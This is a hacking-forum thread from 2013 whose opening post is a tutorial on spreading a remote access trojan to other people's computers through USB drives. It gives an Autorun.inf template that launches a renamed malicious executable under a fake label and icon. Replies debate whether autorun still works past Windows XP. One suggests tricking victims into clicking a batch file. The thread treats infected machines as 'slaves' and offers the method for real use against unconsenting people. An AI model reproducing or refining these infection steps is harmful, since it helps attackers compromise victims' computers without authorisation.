Thread: [\[TUT\] USB-Spreading || Spread your RAT via USB!](#)

Hacking Atheist - October 23, 2013, 9:02 am

[USB-Spreading](#)

- [You can make this method automatic if you browse trough your slaves files and put your virus + this .inf into their flashdrive. If you want to spread it yourself you do it the same way you just have to plug your flashdrive into any computer you want to infect.](#)

[What you have to do is to copy and paste this code into notepad. You can remove the "ICON=1.ico" if you want to.](#)

- [Code:](#)

[Code \[AutoRun\]](#)

[OPEN=server.exe](#)

[ICON=1.ico](#)

[ACTION=Show Menu](#)

[LABEL=MRWECHEAT](#)

[After you've pasted the code into notepad you will have to edit the line where it says](#)

["OPEN=server.exe" to "OPEN=YourFileName.exe"](#)

[Where it says "ICON=1.ico" you will have to change the name to the name of the icon.](#)

[Save the text file as "Autorun.inf" and put your virus + the .inf into a flashdrive and start spread your server!More codes here](#)

Schnaeble - October 23, 2013, 9:07 am

Doesn't this only work on windows xp and below?

P???ce - October 23, 2013, 9:07 am

do they still work? I simply have to upload .exe on my website & it'll take few seconds to download & execute on any pc, but if this auto spreader works then I would love it :D will try this soon ;)

It work all window ive tested what window you have?

WarpBrothers - October 23, 2013, 1:02 pm

Thank you for this, will it work on win 8 and 7?

Pizza Threats - October 23, 2013, 1:16 pm

I thought that these only work on Windows XP, i'm not gonna try it. Thanks maybe others can find it helpful.

METALSLUG - October 23, 2013, 2:10 pm

Autorun does not work on programs anymore it will change your icon to the .ico file and it will change the name but ti will never run an application it got disabled because of stealers and viruses.

SIM-1725559 - October 23, 2013, 2:11 pm

It only works on windows xp -."

35 chars

He B TeMy - October 23, 2013, 3:31 pm

Correction, it works in all if you enable autorun :D, but has to be done manually.i

Viagra - October 24, 2013, 7:39 am

Thank you, I'm going to try this :).

DezORG - October 24, 2013, 7:53 am

This does not work on anything past XP.

WarpBrothers - October 24, 2013, 9:43 am

you welcome im just helping out?

zer0two - October 24, 2013, 12:10 pm

It won't work on windows 7 and windows 8. They fixed it so autoruns dont work anymore so people don't get infected.

(Oct 24, 2013 09:43 AM)WarpBrothers Wrote: [\[CITE\]](#) Do you know a solution that does work?
what you can do is make a .bat file to start it up and then get someone to click on the batch file. It wont start once the usb gets inserted but still

Jefe - October 24, 2013, 1:12 pm

Thanks man :D; good stuff.
?
